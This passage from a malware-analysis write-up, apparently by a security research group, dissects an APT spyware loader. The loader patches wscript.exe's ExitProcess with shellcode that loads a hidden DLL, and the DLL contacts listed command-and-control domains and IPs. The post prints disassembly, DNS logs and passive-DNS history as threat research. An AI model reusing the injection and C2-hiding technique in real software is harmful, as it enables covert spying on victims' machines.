0x0C22887  lea  eax  ,  dword  ptr  [  esp  +74h]
0x0C2288B  push  eax
0x0C2288C  call  esi  lstrcpyW@KERNEL32.DLL (  Import  , 2 Params)
```

```
61
62
63
```

Found this function is interesting, I found the check for username "Administrator" and SUID "system" are checked:

```
1
2
3   0x0C21FAB  xor  bl , bl
4   0x0C21FAD  call  dword ptr [0xC2D00Ch] GetUserNameW@ADVAPI32.DLL ( Import , 2 Params)
5   0x0C21FB3  test  eax , eax
6   0x0C21FB5  je  0x0C21FCEh target: 0xC21FCE
7   0x0C21FB7  push  0x0C2F22Ch <== UTF-16 "system"
8   0x0C21FBC  lea  ecx , dword ptr [ ebp -0x000204h]
9   0x0C21FC2  push  ecx
10  0x0C21AC9  call  dword ptr [0x0C2D014h] LookupAccountSidW@ADVAPI32.DLL
11  0x0C21ACF  test  eax , eax
12  0x0C21AD1  je  0x0C21AFDh target: 0x0C21AFD
13  0x0C21AD3  lea  ecx , dword ptr [ ebp -0x000204h]
14  0x0C21AD9  push  ecx
15  0x0C21ADA  push  0x0C2F1FCh <== UTF-16 "administrators"
16  0x0C21ADF  call  dword ptr [0x0C2D030h] lstrcmpiW@KERNEL32.DLL
17  0x0C21AE5  test  eax , eax
18
19
20
```

Suspicious isn't it?

I go back to the binary for understanding the related functions, which is in 0x4027F0. I was wondering of what is the part of **wscript.exe** (not again!??) mentioned by this binary. So I trailed the path of the **wscript.**exe starting here, assumed that the Windows architecture is x64:

```
1  0x40286E  call  sub_408720
2  0x402873  add  esp , 0Ch
3  0x402876  call  ds :GetVersion
4  0x402876
5  0x40287C  mov  esi , ds :lstrcpyW
6  0x402882  push  offset aTztxpx75Xtdsjq <== Push : "tztxpx75]xtdsjqu/fyf" to stack
```

```
7   0x402882
8   0x402887  lea   eax , [ esp +694h+pMore]
9   0x40288B  push  eax
10  0x40288C  call  esi
11  0x40288E  mov   dx , [ esp +690h+pMore]
12  0x402893  xor   edi , edi
13  0x402895  xor   ecx , ecx
14  0x402897  movzx eax , dx
15  0x40289A  cmp   di , dx
```

then found the binary wscript.exe is executed in this part:

```
1   0x402B54  xor   eax , eax
2   0x402B56  push  40h
3   0x402B58  push  eax
4   0x402B59  mov   [ esp +698h+ProcessInformation.hThread], eax
5   0x402B5D  mov   [ esp +698h+ProcessInformation.dwProcessId], eax
6   0x402B61  mov   [ esp +698h+ProcessInformation.dwThreadId], eax
7   0x402B65  lea   eax , [ esp +698h+StartupInfo.lpReserved]
8   0x402B69  push  eax
9   0x402B6A  mov   [ esp +69Ch+ProcessInformation.hProcess], 0
10  0x402B72  call  sub_408720
11  0x402B77  add   esp , 0Ch
12  0x402B7A  xor   ecx , ecx
13  0x402B7C  lea   edx , [ esp +690h+ProcessInformation]
14  0x402B80  push  edx
15  0x402B80
16  0x402B81  lea   eax , [ esp +694h+StartupInfo]
17  0x402B81
18  0x402B85  push  eax
19  0x402B86  push  offset Buffer
20  0x402B8B  push  ecx
21  0x402B8B
22  0x402B8C  push  ecx
23  0x402B8D  push  ecx
24  0x402B8E  push  ecx
```

```
0x402B8F  push  ecx
0x402B90  mov   [ esp +6B0h+StartupInfo.wShowWindow],  cx
0x402B95  lea   ecx , [ esp +6B0h+CommandLine]
0x402B9C  push  ecx
0x402B9D  lea   edx , [ esp +6B4h+ApplicationName]
0x402BA4  push  edx
0x402BA5  mov   [ esp +6B8h+StartupInfo.cb], 44h
0x402BAD  mov   [ esp +6B8h+StartupInfo.dwFlags], 1
0x402BB5  call  ds :CreateProcessW
0x402BBB  test  eax ,  eax
```

So we have the wscript.exe process up and running.

Up to this part our teammate poke me in DM, and he asked me what can he helped, so I asked our friend (Mr. Raashid Bhat) to take over the further analysis of this defrag.exe and disk1.img, while I went to other parts, and after a while he came up straight forward with (1) decoder logic, which is match to our crack team did:



And (2) the conclusion of what "defrag.exe" is actually doing, is a loader which patches the executed wsscript.exe's ExitProcess to load the DLL "disk1.img"....Well, it's all starts to make more sense now.

Checking the reported data. I confirmed to find the "process was read" from here:

```
0x4014BB  mov   edx , [ ebp +nSize]
0x4014C1  lea   ecx , [ ebp +NumberOfBytesRead]
0x4014C7  push  ecx
0x4014C8  mov   ecx , [ ebp +lpAddress]
0x4014CE  push  edx
0x4014CF  lea   eax , [ ebp +Buffer]
0x4014D2  push  eax
0x4014D3  push  ecx
0x4014D4  push  esi
0x4014D5  mov   [ ebp +NumberOfBytesRead],  ebx
0x4014DB  call  ds :ReadProcessMemory
```

```
12  0x4014E1  test  eax , eax
13
14
```

As for the *"Exit Process patching"* itself, it is a quite sophisticate technique was used. It used a tiny shellcode that was observed within Mem Loc 1 : 009C0000 to 009D0000 (by Raashid).

The shellcode then was saved in binary which I received and then I was reversing it deeper, it looks like as per following snips:

This shellcode I tweaked a bit, is in a plain assembly, contains three addresses of Windows static API call to (I wrote these API in order of calls from top to bottom) **LoadLibraryW@kernel32.dll**, **RtlGetLastWin32Error@ntdll.dll**, **Sleep@kernel32.dll** which can be shown in assembly code of the code as per snips below:



So now we know that defrag.exe is actually hacked wscript.exe, hooks ExitProcess Function of kernel32.dll and patches it with a LoadLibraryW@kernel32.dll and loads a DLL string in local (for further execution), does some error-trapping and gives time for the DLL to be processed (loaded and executed).

OK. So now we have the idea on how this binary sniffs for account, checks for processes and load and use the DLL (disk1.img). There are many more details for more operation in defrag.exe, like searching the process of Auslogic and that skype/messenger buff (also many registry values sniffed too) , but those will be added later after this main course..

The DLL Payload

This DLL is the goal of this infection. It has operations for networking functionalitiy, contains the CNC information and the data to be sent to the CNC. If you do forensics, you may never see disk1.img or the deobfuscated DLL filename in the process, but you will see its operation by the patched wscript.exe (for it was hacked to load this DLL, the wscript.exe process should appear).

Below is the DLL part that in charge for the socket connections...

```
1  10010593  lea  edx , [ ebp +var_8]
2  10010596  push  edx
3  10010597  lea  edx , [ ebp +var_2C]
4  1001059A  push  edx
5  1001059B  push  ecx
```

```
1001059C push eax
1001059D call ds :getaddrinfo
    :
100105C7 push dword ptr [ esi +0Ch]
100105CA push dword ptr [ esi +8]
100105CD push dword ptr [ esi +4]
100105D0 call ds :socket
100105D6 mov edi , eax
    :
100105DD push dword ptr [ esi +10h]
100105E0 push dword ptr [ esi +18h]
100105E3 push edi
100105E4 call ds :connect
    :
10010600 push [ ebp +var_8]
10010603 call ds :freeaddrinfo
10010609 mov esi , ds :setsockopt
1001060F push ebx
10010610 lea eax , [ ebp -1]
10010613 push eax
10010614 push ebx
10010615 push 6
10010617 push edi
10010618 mov [ ebp +var_1], bl
1001061B call esi
1001061D push 4
1001061F lea eax , [ ebp +optval]
10010622 push eax
10010623 push 1006h
10010628 push 0FFFFh
1001062D push edi
1001062E call esi
```

..this will be resulted in some internal socket binding operation we spotted in the debug mode as:

```
1  Bind IP  Port   Status          (n) HookAddr  API Calls
2  ---------------------------------------------------------
3  0.0.0.0  51902  success  1  100105A3  getaddrinfo
4  0.0.0.0  52652  success  1  100105A3  getaddrinfo
5  0.0.0.0  57334  success  1  100105A3  getaddrinfo
6  0.0.0.0  1209   success  1  100105EA  connect
7  0.0.0.0  54643  success  1  100105A3  getaddrinfo
8  0.0.0.0  53539  success  1  100105A3  getaddrinfo
9  0.0.0.0  54536  success  1  100105A3  getaddrinfo
10 0.0.0.0  1210   success  1  100105EA  connect
11 0.0.0.0  51696  success  1  100105A3  getaddrinfo
```

Which one of them is successfully established connection to CNC:

```
1  Bind IP  Port   Status          (n) HookAddr  API Calls
2  ---------------------------------------------------------
3  "91.229.77.179  8008  success"  or wait  2  100105EA  connect
```

From the further reversing section for this DLL (which was done by Raashid), the domains are encoded using single byte move. and can be seen in the below IDA snapshot:

Which sending the below blobs of binary:



When I received the result, since I had the report that the CNC was down at the time reversed, I used the local dummy DNS to seek whether the requests was made to those CNC hosts, and is proven:

```
DNS   77 Standard query 0x4b92  A menmin.strezf.com
DNS   74 Standard query 0x5202  A imaps.qki6.com
DNS   74 Standard query 0x8aec  A static.jg7.org
DNS   74 Standard query 0x8aec  A static.jg7.org
DNS   77 Standard query 0xa620  A menmin.strezf.com
DNS   74 Standard query 0xb3c3  A imaps.qki6.com
DNS   74 Standard query 0xb975  A static.jg7.org
DNS   74 Standard query 0xb975  A static.jg7.org
DNS   74 Standard query 0xb975  A static.jg7.org
DNS   74 Standard query 0xb975  A static.jg7.org
DNS   74 Standard query 0xe67b  A imaps.qki6.com
DNS   74 Standard query 0xf1da  A static.jg7.org
DNS   74 Standard query 0xf1da  A static.jg7.org
```

Furthermore, using the different method of networking (I won't explain this for the security purpose), I could find the alive connection to the CNC's IP and PoC'ing the blob binary sent to initiate the connection. Noted, again the data matched, the reversing blob binary is actually the CNC sent data used to initiate the CNC communication, as per captured in the PCAP below, same bits:



Does it means the CNC still alive?

I am not so sure. It was connected. The CNC "allowed" the bot to send the data to them, yet it was not responding back afterward and let the communication becoming in "pending" stage. So, there is many possibility can be happened, like: CNC is gone, or CNC specs has changed, etc. After all this APT sample is about 6-7months old.

So please allow me to take a rain check for analysis the blob binary used (still on it..among tons of tasks..). Let's investigate this CNC related network.

The CNC investigation

Based on the reverse engineering, forensics & behavior analysis we did, we found the CNC is actually 3 (three) hostnames matched to the 6 (six) IP addresses as per listed below:

1	`static.jg7.org`
2	`imaps.qki6.com`
3	`menmin.strezf.com`

Which historically are using the below IP addresses:

1	`8.5.1.38`
2	`64.74.223.38`
3	`208.73.211.66`
4	`91.229.77.179`
5	`124.217.252.186`
6	`212.7.198.211`

The first three domains is having a very bad reputation in phishing & malware infection globally. PoC-->[here]

For the location of these IP are shown in the below details:

IP Address	Country Code	Location	Postal Code	Coordinates	ISP	Organization	Domain	Metro Code
8.5.1.38	US	Costa Mesa, California, United States, North America		33.6411, -117.9187	Level 3 Communications	eNom, Incorporated		803
64.74.223.38	US	Atlanta, Georgia, United States, North America	30303	33.7516, -84.3915	Internap Network Services Corporation	eNom, Incorporated		524
91.229.77.179	UA	Ukraine, Europe		49, 32	FOP Zemlyaniy Dmitro Leonidovich	FOP Zemlyaniy Dmitro Leonidovich	dellahost.com.ua	
124.217.252.186	MY	Malaysia, Asia		2.5, 112.5	Piradius Net	Piradius Net		
208.73.211.66	US	Los Angeles, California, United States, North America	90071	34.0533, -118.2549	Oversee.net	Oversee.net		803
212.7.198.211	NL	Netherlands, Europe		52.5, 5.75	Dediserv Dedicated Servers Sp. z o.o.	LeaseWeb B.V.		

And the period time for each CNC's used subdomains VS IP addresses above can be viewed clearly below (Thank you FairSight team):

```
1  first seen 2013-11-01 21:17:45 -0000
2  last seen 2013-11-04 05:22:20 -0000
3  static.jg7.org. A 8.5.1.41
4  first seen 2013-10-07 13:10:00 -0000
5  last seen 2013-11-18 14:38:32 -0000
6  static.jg7.org. A 64.74.223.41
7  first seen 2013-08-26 10:01:39 -0000
8  last seen 2013-10-07 12:34:21 -0000
9  static.jg7.org. A 91.229.77.179
10 first seen 2012-12-17 04:20:19 -0000
11 last seen 2013-06-20 05:53:03 -0000
12 static.jg7.org. A 124.217.252.186
13 first seen 2013-06-20 08:00:28 -0000
14 last seen 2013-08-26 09:00:42 -0000
15 static.jg7.org. A 212.7.198.211
16 first seen 2013-11-01 21:22:55 -0000
17 last seen 2013-11-04 05:24:20 -0000
18 imaps.qki6.com. A 8.5.1.38
19 first seen 2013-10-07 13:10:18 -0000
20 last seen 2013-11-18 14:38:38 -0000
21 imaps.qki6.com. A 64.74.223.38
```

```
first seen 2013-08-26 10:02:05 -0000
last seen 2013-10-07 12:33:13 -0000
imaps.qki6.com. A 91.229.77.179
first seen 2012-12-17 04:19:46 -0000
last seen 2013-06-20 05:52:30 -0000
imaps.qki6.com. A 124.217.252.186
first seen 2014-01-06 01:21:07 -0000
last seen 2014-01-11 14:30:44 -0000
imaps.qki6.com. A 208.73.211.66
first seen 2013-06-20 07:07:43 -0000
last seen 2013-08-26 09:01:08 -0000
imaps.qki6.com. A 212.7.198.211
first seen 2013-08-26 10:02:31 -0000
last seen 2014-08-22 04:06:36 -0000
menmin.strezf.com. A 91.229.77.179
first seen 2013-10-05 11:54:26 -0000
last seen 2013-10-07 13:45:55 -0000
menmin.strezf.com. A 208.91.197.101
first seen 2013-06-20 06:26:33 -0000
last seen 2013-08-26 09:01:34 -0000
menmin.strezf.com. A 212.7.198.211
```

And below is the DNS queries for these hostname (not IP) recorded in the recent terms, thank's to OpenDNS:



Cross checking various similar samples with the all recorded domains & IPs for the related CNC we found more possibility related hostnames to the similar series of the threat, suggesting the same actor(s), noted the usage of DDNS domains:

```
1  foursquare.dyndns.tv
2  neuro.dyndns-at-home.com
3  tripadvisor.dyndns.info
4  wowwiki.dynalias.net
5  yelp.webhop.org
6  (there are some more but we are not 100% sure of them yet..is a TBA now..)
```

The bully actor(s) who spread this APT loves to hide their domain behind various of services like:

```
1  nsX.dreamhost.com
2  nsX.cloudns.net
3  nsXX.ixwebhosting.com
4  nsXX.domaincontrol.com
5  dnsX.name-services.com
6  nsXX.dsredirection.com
7  dnsX.parkpage.foundationapi.com
```

With noted that these THREE CNC domains used by this sample, are made on this purpose only, and leaving many traceable evidence in the internet that we collected all of those successfully. Trailing every info leaves by this domains: ***jg7.org, qki6.com. strezf.com*** will help you to know who is actually behind this attack. Noted: see the time frame data we disclosed above. If there any malware initiators and coders think they can bully others and hide their ass in internet is a BIG FAIL.

The data is too many to write it all here, by the same method of previous check we can find the relation between results. It is an interesting investigation.

Samples

What we analyzed is shared only in KernelMode, link-->[here]
With thankfully to KM team (rocks!) I am reserving a topic there for the continuation disclosure for same nature of sample and threat.

The epilogue

This series of APT attack looks come and go, it was reported back then from 2009. This one campaign looks over, but for some reason that we snipped in above writing, there is no way one can be sure whether these networks used are dead. The threat is worth to investigate and monitor deeper. Some posts are suspecting political background supporting a government mission of a certain group is behind this activities, by surveillance to the targeting victims. Avoiding speculation, what we saw is a spyware effort, with a good quality...a hand-made level, suggesting a custom made malware, and I bet is not a cheap work too. We talked and compare results within involved members and having same thought about this.

If you received the sample, or, maybe got infected by these series, I suggest to please take a look at the way it was spread, dropped techniques used binaries, and the many camouflage tricks used. Further, for the researchers involved, we should add that the way to hide the CNC within crook's network is the PoC for a very well-thought & clever tricks. We have enough idea for whom is capable to do this, and now is under investigation.

We are informing to all MMD friends, this investigation is OPEN, please help in gathering information that is related to this threat for the future time frame too, as much as possible. We are opposing whoever group that is backing up this evil operation, and believe me, the dots are started to connect each other..

We are going to handle the similar threat from now on, so IF you have the abuse case by malware and need the deep investigation of what that malware does, do not hesitate to send us sample, archive the samples and text contains the explanations of how you got the sample and how can we contact you, with the password "infected", and please upload it in this link-->[DropBin].

Don't use malware, we never believe that any usage of malware can achieve any goodness. We will battle the malware initiators and its coders for the sake to support a better humanity and better internet usage.